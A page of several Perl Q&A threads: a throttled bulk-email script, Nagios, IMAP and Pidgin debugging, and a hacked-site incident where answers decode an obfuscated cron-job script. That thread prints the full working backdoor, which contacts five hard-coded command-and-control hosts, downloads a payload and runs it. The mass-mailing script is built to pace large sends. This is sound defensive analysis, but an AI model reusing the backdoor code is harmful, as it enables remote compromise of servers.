Sendmail with time and pause using Perl - perl

I have the following code e works perfectly, however, I want to set a time to send each email.
Example: 100 e-mail is sent, the PAUSE script for 1 hour, and sends back another 100 emails.
This code here it sends direct. I need to make the 2 work, and send emails slowly according to the txt list.
#!/usr/local/bin/perl
## use: perl send.pl list-email.txt "noreply#mail.com" "subject" html.html
$ARGC = #ARGV;
if ( $ARGC != 4 ) {
printf "$0 <mailist> <tes#test.com> <HELLO friend> <html.htm>\n\n";
#printf "Script for sending emails";
exit(1);
}
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
$sender = $ARGV[1];
$subject = $ARGV[2];
$efile = $ARGV[0];
$emar = $ARGV[0];
$count = 1;
open( FOO, $ARGV[3] );
#foo = <FOO>;
$corpo = join( "\n", #foo );
open( BANDFIT, "$emar" ) || die "Can't Open $emar";
while (<BANDFIT>) {
( $ID, $options ) = split( /\|/, $_ );
chop($options);
foreach ($ID) {
$recipient = $ID;
open( SENDMAIL, "| $sendmail -t" );
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "$corpo\n\n";
close(SENDMAIL);
printf "Enviado para $recipient [ OK $count ]";
$count++;
}
}
close(BANDFIT);
=============== other code / time pause===============
#!/usr/bin/env perl
sub mostraMensagem() {
while (1) {
sleep(1);
print("Hello World!\n");
$count++;
if ( $count == 5 ) {
print("PAUSE!\n");
$count = 0;
sleep(5);
print("CONTINUE..\n");
mostraMensagem;
}
}
}
mostraMensagem;

I got friends !! but still need you ...
it sends 5 emails and pause for 5 seconds, however, the count does not continue, it returns to zero. what can we do?
the counter back to zero after 5 ..
The new CODE:
#!/usr/local/bin/perl
## use: perl enviar.pl list-mail.txt "my#mail.com" "subject" html.html
$ARGC=#ARGV;
if ($ARGC !=4) {
printf "$0 <mailist> <my#myemail.com> <subject> <msg.htm>\n\n";
#printf "Script sending emails";
exit(1);
}
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
$sender = $ARGV[1];
$subject = $ARGV[2];
$efile = $ARGV[0];
$emar = $ARGV[0];
$count=1;
open(FOO, $ARGV[3]);
#foo = <FOO>;
$corpo = join("\n", #foo);
open (BANDFIT, "$emar") || die "Can't Open $emar";
while(<BANDFIT>) {
($ID,
$options) = split(/\|/,$_);
chop($options);
foreach ($ID) {
$recipient = $ID;
## this changes =>>> ###
### send 5 email of list.txt, and pause 5 seconds, continue.. ###
if ( $count == 5 ) {
print("PAUSE!\n");
$count = 0;
sleep(5);
print("CONTINUE..\n");
}
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "$corpo\n\n";
close (SENDMAIL);
printf "sending for $recipient [ Ok Send; $count ]";
$count++;
}
}
close(BANDFIT);
#### end #####

Essentially you would count the amount of emails sent, when you reach the 100 mark, pause for 3600 seconds and then continue.
** UDPATE - Full Code **
Tested (smaller numbers) on RHEL 5
Assuming email-list.txt looks like:
user_1_#company.com
user_2_#company.com
user_99_#company.com
user_100_#company.com
Code:
#!/usr/bin/perl
# =========================
# Assign $ARGV[x] -> var
# =========================
if (#ARGV < 4){ usage() }
my $sendAs = $ARGV[1];
my $subject = $ARGV[2];
my $htmlFile = $ARGV[3];
my $sendList = $ARGV[0];
# =========================
# Get Send List -> var
# =========================
open(LIST, $sendList) || die "Could not open $sendList: $!\n";
my #recipients = <LIST>;
close(LIST);
# =========================
# Iterate / Send Email
# =========================
my $count = 1;
foreach my $recipient (#recipients)
{
chomp($recipient);
if ( $count < 100 )
{
my $cmd = 'cat ' . $htmlFile . ' | /usr/sbin/sendmail -s "$(echo -e "' . $subject . '\nContent-Type: text/html")" ' . $recipient . ' -v -- -F ' . $sendAs;
my $results = `$cmd`;
}
elsif ( $count == 100 )
{
my $cmd = 'cat ' . $htmlFile . ' | /usr/sbin/sendmail -s "$(echo -e "' . $subject . '\nContent-Type: text/html")" ' . $recipient . ' -- -F ' . $sendAs;
my $results = `$cmd`;
sleep(3600);
$count = 0;
}
$count++;
}
# =========================
# Essential Subroutines
# =========================
sub usage()
{
print "\nUsage:\n\t$0 <mailist.txt> <test\#mail.com> <\"Hello friend\"> <test.html>\n\n";
exit;
}
P.S. LEARN PERL

Related

Decrypt obfuscated perl script on hacked site

I was cleaning out a client's site that got hacked after I had cleaned it once already, when I found a cron job pointing to a script in the server /tmp directory:
https://pastebin.com/uXCSXxdn
The first 6 lines look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T#
The rest is just 121 more lines of that DATA block. I ran the file through Virustotal and it came back clean, but I am certain this is not a non-malicious file. Is there any way to safely decrypt it so I know where to look and see if it dropped another payload somewhere on the site?
If you want to see the deobfuscated code, here are the steps to do it. Note that what you will be doing is dangerous, because if you accidentally execute the code, your machine will be attacked. You are warned.
Note that these steps are for THIS EXAMPLE only. Other attack scripts may have other things in them. They may need other changes than what is detailed below.
Here are the steps for the original example that was posted.
Copy all of your program into original.pl. It will look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
Change the eval on the first line to print. IF YOU DON'T CHANGE THE eval TO print, THEN THE NEXT STEP WILL PERFORM THE ATTACK ON YOUR MACHINE.
Now, run the program, after you have changed the eval to print.
perl original.pl > unencoded.pl
The new unencoded.pl program will look like this, with no indentation:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
Now use the B::Deparse module to interpret and reformat the program. MAKE SURE YOU HAVE -MO=Deparse OR ELSE YOU WILL RUN THE ATTACK.
perl -MO=Deparse unencoded.pl > formatted.pl # Note the -MO=Deparse!!!
Running through the Deparse module will say:
unencoded.pl syntax OK
The new formatted.pl program will be a nicely formatted copy of the attacker's payload, 213 lines long, and you can examine what the script does. Note that the final program is still dangerous, because it is the attack program that the attacker wanted to run.
The format shown is simply uuencoding. I copied the pastebin-ed text, pasted it into https://www.browserling.com/tools/uudecode, which showed it's this not-actually-obfuscated Perl code:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", #$rnd[map {rand #$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (#$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (#$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
#_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), #_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = #_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (#$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (#$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
The clues were a) recognising the distinctive format; b) also recognising the unpack('u*'). No machines, virtual or otherwise, were put at risk in this process.
The code has 5 URLs, and the http function implies it "phones home" to those, getting commands to execute in a Set-Cookie: PHPSESSIONID= header. I haven't analysed it further than that.
Replace eval with print to see what the script is running. The portion you provided generates readable code.
My first thought was to deparse it but that won't be of much use since most of the code is in the DATA block. You could replace the eval() function with print() and let the script decode it for you. You might end up needing deparse for what print gives you.

Perl subroutine not running when script executed from Nagios XI back-end

I have a Perl script that is executed from Nagios XI.
It has two subroutines: SendEmail and SendTraps.
The script works fine when executed manually by passing the required parameters, but it doesn't work when triggered from Nagios. The script gets executed but the subroutines are skipped.
echo is working, but the two subroutines are not working even if the condition is met.
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
Full script here:
use strict;
use warnings;
use Text::CSV;
# Declared all the variables here
# Parsing input arguments
if ( $#ARGV > -1 ) {
if ( $ARGV[0] eq "-nagiosxi_trigger" ) {
$prihost = $ARGV[1];
$hoststate = $ARGV[2];
$hoststatetype = $ARGV[3];
$hostoutput = $ARGV[4];
}
elsif ( $ARGV[0] eq "-manual_trigger" ) {
$comment = $ARGV[1];
$userid = $ARGV[2];
$flag = "Failover-Trigger_Manual";
print "Maunal Failover triggered with comment: $comment by $userid\n";
$error_desc = "Maunal Failover triggered with comment: $comment by $userid";
send_trap();
sendMail();
exit 0;
}
else {
print STDERR "Invalid parameter $ARGV[0] \n";
exit 1;
}
}
else {
print STDERR "ERROR:No Arguments Passed.\n";
exit 1
}
# Check if Host or Service is in Hard/down state
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
elsif ( ( $hoststatetype =~ m/SOFT/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
}
else {
`echo "HOST Good, $prihost $hostoutput">>/tmp/failover_log.txt`;
}
# Sub-Routines
sub failover {
my $csv = Text::CSV->new({ sep_char => ',' }) or die "Cannot use CSV: ".Text::CSV->error_diag ();;
my $file = "myxilist";
my $primary;
my $secondary;
#my $xienv;
my $host = `hostname`;
chomp $host;
open( my $data, '<', $file ) or die "Could not open '$file' $!\n";
while ( my $xi = <$data> ) {
chomp $xi;
if ( $csv->parse($xi) ) {
my #fields = $csv->fields();
if ( $fields[0] =~ m/$host/ ) {
$primary = $fields[1];
$secondary = $fields[0];
$xienv = $fields[2];
}
elsif ( $fields[1] =~ m/$host/ ) {
$primary = $fields[0];
$secondary = $fields[1];
$xienv = $fields[2];
}
}
else {
warn "Line could not be parsed: $xi\n";
exit 1;
}
}
my $failovermsg="failover successful from $primary to $secondary server";
return $failovermsg;
}
sub sendMail {
# Build the list for mailing out results
my $mailSubject;
my $mailID = "test\#mail.com";
my #results = failover();
$mailSubject = "Failover Successful on $xienv instance";
print "Sending email to $mailID \n";
`echo "sending Email">>/tmp/failover_log.txt`;
open MAILX, "|/usr/bin/mailx -s \"$mailSubject\" $mailID " or die $!;
print MAILX "#results";
close MAILX;
return;
}
sub send_trap {
# Sending SNMP traps
my #results = failover();
my $trap = `/usr/bin/snmptrap -v 2c -c public tcp:server:1010 '' MIB::Event Hostname s "$xienv" nSvcDesc s "$flag" nSvcStateID i 2 nSvcOutput s "#results"`;
return;
}
Any thoughts what could be missing?
Issue was in the failover() SubRoutine. I was calling a file "myxilist" that was present in the same directory as the script.
So, the script was working fine when called manually, but when it is triggered from application, script is getting executed from some other directory and the failover sub exits, as it's not able to open the file.
I've provided the full path of the file and the script works fine.
Thank you all for your help.

Perl Script is giving error uninialized varilable access

Code runs sometimes, sometimes gives error on linux host.
Need to check why has is not printing,
Error, messages: Use of uninitialized value in sprintf at ./fa_list.pl line 139, line
Can someone check, why I'm getting error?
use Getopt::Long;
my $sid = '9999';
my $Fa_VSan_Map = 'Fa_VSan_Map';
sub usage {
my $message = $_[0];
if (defined $message && length $message) {
$message .= "\n"
unless $message =~ /\n$/;
}
my $command = $0;
$command =~ s#^.*/##;
print STDERR (
$message,
"usage: $command -sid xxx -outf FA_Mapping\n" .
"Where -sid: is primary SID to show mappings.\n" .
" -outf: Output File prefix.\n" .
" -Reserved...\n"
);
die("\n")
}
GetOptions( 'sid=i' => \$sid, 'outf=s' => \$Fa_VSan_Map) or
usage("Invalid commmand line options.");
print($sid);
my $outf = "$Fa_VSan_Map$sid.csv";
my $outf1 = "Fa_VSan_Map1$sid.csv";
my ($mydir,$dir_port,$dir_port_wwpn,$FaWWPN);
my (%FA,%FAH,%FAC,%VSAN);
my ($wwpn,$host,$port,$fcid,$logged,$fab);
# 50:00:09:72:08:4b:05:89, => cdc02-core1-1.yyyyy.xxxx.com,CISCO,fc3/12,VS251,50:00:09:72:08:4b:05:89,,8,Active
# cdc02-core-1-2.yyyyy.xxxx.com,CISCO,fc1/29,VS251,50:00:09:73:00:1c:e1:1c,,8,Active
sub LoadVSAN()
{
my $vsanf = "VSAN$sid.csv";
print ($vsanf);
open (VSAN, "<", $vsanf) or die "Could not open $!";
while (<VSAN>) {
if (/Active/) {
my #array = split /,/;
print (#array);
my $key = $array[4];
$key =~ s/://g;
my #line_arranged = ($array[3],$array[2],$array[0],$array[6],$array[7]);
$VSAN{$key} = \#line_arranged;
print($key, ": ", #{$VSAN{$key}}, "\n");
}
}
close VSAN;
}
LoadVSAN;
# foreach my $key (%VSAN) {
# print(${VSAN{$key}}[0]); print("\n");
# ${$VSAN{$FaWwpn}}[0]
# }
open (OUT, ">", $outf) or die "Could not open $outf $!";
open( OUT1, ">",$outf1) or die "Could not open $outf1 $!";
my $sidtxt = "sidcfg.fa$sid.txt";
my $cmd = 'symcfg -sid ' . $sid . ' list -fa all -v > ' . $sidtxt;
system($cmd);
open ( SYM, "<" , $sidtxt ) or die "Could not open $sidtxt $!";
while ( <SYM>) {
chomp ;
if (/Director Identification:/) {
$mydir = $_;
$mydir =~ s/\s+Director Identification: //;
$mydir =~ s/FA-//;
}
elsif (/Director Port:/) {
$port = $_;
$port =~ s/\s+Director Port: //;
$dir_port = sprintf '%04d_%03s_%03d', int($sid), $mydir, int($port);
}
elsif (/WWN Port Name/) {
$wwpn = $_;
$wwpn =~ s/\s+WWN Port Name\s+: //;
$dir_port_wwpn = sprintf '%s,%s', $dir_port, $wwpn;
$FA{$dir_port} = $wwpn;
}
}
close(SYM);
$sidtxt = 'symaccess.ll.' . $sid . '.txt';
$cmd = 'symaccess -sid ' . $sid . ' list logins > ' . $sidtxt;
#print($cmd);
system($cmd );
open ( SYM, "<" , $sidtxt ) or die "Could not open $sidtxt $!";
while ( <SYM>) {
chomp ;
if (/Director Identification/) {
$mydir = $_;
$mydir =~ s/Director Identification\s+:\s+//;
$mydir =~ s/FA-//;
}
elsif (/Director Port/) {
$port = $_;
$port =~ s/Director Port\s+:\s+//;
$dir_port = sprintf '%04d_%03s_%03d', int($sid),$mydir, int($port);
}
elsif (/Fibre/) {
($wwpn,undef, $host,$port,$fcid,$logged,$fab) = split;
my $host_port;
if( lc($host) eq 'null') {
$host_port = substr($wwpn,10,6);
}
else {
$host_port = $host . '_' . $port . '_' . substr($wwpn,12,4);
}
if (exists $FAH{$dir_port}) {
$FAH{$dir_port} .= ':' . $host_port;
$FAC{$dir_port} += 1;
} else {
$FAH{$dir_port} = $host_port;
$FAC{$dir_port} = 1;
}
if ( $logged eq "Yes") {
my $line = sprintf ( '%s,%s,%s,%s', $dir_port, $FA{$dir_port}, $host_port, $fcid);
print (OUT1 $line . "\n");
}
}
}
print OUT "Fa,FaWWPN,VSan,HostCount,PERCENT_BUSY,HostNames\n";
my $PERCENT_BUSY=10.0;
foreach my $fa ( keys %FAC) {
my $formula = '=VLOOKUP(B2,Sheet1!A$2:F$600,6,FALSE)';
my $FaWwpn = lc($FA{$fa});
#print($FaWwpn . ": " . $VSAN{$FaWwpn}->[0] . "\n" );
## Below is line 139
my $line = sprintf ('%s,%s,%s,%s,%3.2f,%s', $fa, $FaWwpn, ${$VSAN{$FaWwpn}}[0], $FAC{$fa}, $PERCENT_BUSY, lc($FAH{$fa}));
print OUT $line . "\n";
#print $line . "\n";
}
close(SYM);
I believe there is problem with lc($FAH{$fa}).
have you checked you initialized $FAH in your code ?

Moving gmail messages with Net::IMAP::Simple

I am trying to use Net::IMAP::Simple to move mail to an old_messages folder after I have read and stripped the attachments from them, but when I do it all of the moved messages are blank and from "unknown sender", and the inbox is unchanged. I've checked around and nobody seems to have had this problem before.
I have also tried this using both Email::Simple and Email::MIME as the $es object passed as an argument in the statement
$imap->put( 'OLD_MESSAGES', $es, "") or warn $imap->errstr
but neither worked.
Here's my code using Email::MIME
use strict;
use warnings;
# required modules
use Net::IMAP::Simple;
use Email::MIME;
use IO::Socket::SSL;
use Email::MIME::Attachment::Stripper;
# fill in your details here
my $username = 'usersite.com';
my $password = 'password';
my $mailhost = 'imap.gmail.com';
# Connect
my $imap = Net::IMAP::Simple->new( $mailhost, port => 993, use_ssl => 1, )
|| die "Unable to connect to IMAP: $Net::IMAP::Simple::errstr\n";
# Log in
if ( !$imap->login( $username, $password ) ) {
print STDERR "Login failed: " . $imap->errstr . "\n";
exit( 64 );
}
# Look in the the INBOX
my $nm = $imap->select( 'INBOX' );
# How many messages are there?
my ( $unseen, $recent, $num_messages ) = $imap->status();
print "unseen: $unseen, recent: $recent, total: $num_messages\n\n";
my $filepath = "C:/Users/doug/Desktop/gmail/";
## Iterate through unseen messages
for ( my $i = 1 ; $i <= $nm ; $i++ ) {
if ( !$imap->seen( $i ) ) {
next;
}
else {
my $es = Email::MIME->new( join '', #{ $imap->get( $i ) } );
#my $es = Email::MIME->new( join '', #{ $imap->top($i) } );
my $text = $es->body;
my $stripper = Email::MIME::Attachment::Stripper->new( $es );
my #attachments = $stripper->attachments;
printf(
"[%03d] %s\n\t%s\n%s",
$i,
$es->header( 'From' ),
$es->header( 'Subject' ), $text
);
my $l = 0;
foreach $_ ( #attachments ) {
my $fh = IO::File->new();
binmode( $fh );
open( $fh, '>', "$filepath" . "$_->{filename}" );
print $fh "$_->{payload}\n";
$fh->close;
}
$imap->put( 'OLD_MESSAGES', $es, "" ) or warn $imap->errstr;
}
}
# Disconnect
$imap->quit;
exit;
I had to strip down my code, but below is the gist of it. Works for me before I cut it out and pasted here, lemme know if it works else i'll edit it
use Mail::IMAPClient;
use Email::MIME::Attachment::Stripper;
use other stuff as needed....
# login
my $sock = IO::Socket::SSL->new(PeerAddr=>'imap.gmail.com',PeerPort=>993);
my $imap = Mail::IMAPClient->new(Socket => $sock, User => $user, Password => $pass, Ignoresizeerrors => 1);
die $imap->LastError() unless $imap->IsAuthenticated();
# decoding mime (you can probably skip)
my $message = $imap->message_string(123);
my $decoded_mime = "";
my #decoded_list = MIME::Words::decode_mimewords($message);
for(my $i=0; $i<scalar(#decoded_list); ++$i) {
my #set = #{$decoded_list[$i]};
if(scalar(#set) == 1) {
$decoded_mime .= $set[0];
}
else {
eval {
Encode::from_to($set[0],$set[1],'utf-8');
};
if($#) { eval {}; }
$decoded_mime .= $set[0];
}
}
$message = $decoded_mime;
# Strip attachments
$mime = Email::MIME::Attachment::Stripper->new($message);
$mime = $mime->message; # convert to regular Email::MIME

STDOUT from Pidgin plugin script

Yesterday, I wrote a perl plugin script for Pidgin 2.10.9, running on Windows 7, and using Strawberry Perl 5.10.1.5
Basically, on the receipt of an IM, it uses backticks to call a console application (written in .NET) and returns the console output to the sender as an IM.
I had to reboot this morning, but ever since I rebooted, it has stopped working.
So, I changed the backticks to use "capture". That didn't work either, but it at least gave me this error:
(15:00:33) Plugin: Error: Error in IPC::System::Simple plumbing: "Can't dup STDOUT" - "Bad file descriptor" at (eval 12) line 53
I have no idea what's changed from yesterday to today, and wondered if anybody knew what might be causing the error?
Thanks
Edit: Thought I'd add my code
use Purple;
#use IPC::System::Simple qw(system systemx capture capturex);
use IPC::System::Simple qw(capture capturex);
%PLUGIN_INFO = (
perl_api_version => 2,
name => "PlugIn",
version => "0.1",
summary => "AutoResp",
description => "PlugIn",
author => "Mark Watkin",
url => "http://",
load => "plugin_load",
unload => "plugin_unload"
);
sub plugin_init {
return %PLUGIN_INFO;
}
sub plugin_load {
my $plugin = shift;
Purple::Debug::info("PlugIn", "plugin_load()\n");
$data = "";
$conversation_handle = Purple::Conversations::get_handle();
Purple::Signal::connect($conversation_handle, "received-im-msg", $plugin, \&signal_chat_callback, $data);
}
sub plugin_unload {
my $plugin = shift;
Purple::Debug::info("PlugIn", "plugin_unload()\n");
}
sub signal_chat_callback {
# The signal data and the user data come in as arguments
my ($account, $sender, $message, $conv, $flags) = #_;
Purple::Debug::info("PlugIn", "Account Alias \"" . $account->get_alias() . "\"\n");
if( $account->get_alias() eq "PlugIn" )
{
Purple::Debug::info("PlugIn", "Request: \"" . $message . "\"\n");
if(!$conv)
{
Purple::Debug::info("PlugIn", "No conversation\n");
$conv = Purple::Conversation->new(1, $account, $sender);
}
$im = $conv->get_im_data();
$im->send( "One moment please..." );
my $query = "";
# eval {
# $query = capture("\"D:\\SourceCode\\PlugInNET\\bin\\Debug\\PlugInNET.exe\" \"" . $message . "\"");
# #$query = capture("\"D:\\SourceCode\\PlugInNET\\bin\\Debug\\PlugInNET.exe\"", "\"" . $message . "\"");
# #my $query = capture("D:\\SourceCode\\PlugInNET\\bin\\Debug\\PlugInNET.exe");
# #my $query = `\"D:\\SourceCode\\PlugInNET\\bin\\Debug\\PlugInNET.exe\" \"$message\"`;
# #my $query = `dir /b`;
# };
# if( $# )
# {
# Purple::Debug::info("PlugIn", "Error: " . $# . "\n");
# }
Purple::Debug::info("PlugIn", "Query: " . $query . "\n");
open ( my $fh, "-|", "D:\\SourceCode\\PlugInNET\\bin\\Debug\\PlugInNET.exe \"$message\"" ) or die "Cannot run free, $ERRNO";
while (<$fh>)
{
Purple::Debug::info("PlugIn", "Read: Line " . $_ . "\n");
$query = $query . $_ . "\n";
}
close $fh;
Purple::Debug::info("PlugIn", "Query: " . $query . "\n");
if( $query eq "" )
{
$im->send( "I'm sorry, my brain doesn't seem to be functioning at the moment" );
} else {
#msgs = split(/-----------\n/, $query);
foreach( #msgs )
{
Purple::Debug::info("PlugIn", "Result Msg: \"" . $_ . "\"\n");
$im->send( "<BODY>" . $_ . "</BODY>" );
}
}
}
}
The plan was to fix up the paths once I had it working properly
Please consider using file handles instead of backticks to capture stdout from another source. You'll be able collect errors.
#!/usr/bin/perl
use strict;
use warnings;
use English;
# No taint protection in this example
open ( my $fh, '-|', '/usr/bin/free' ) or die "Cannot run free, $ERRNO";
while (<$fh>)
{
print;
}
close $fh;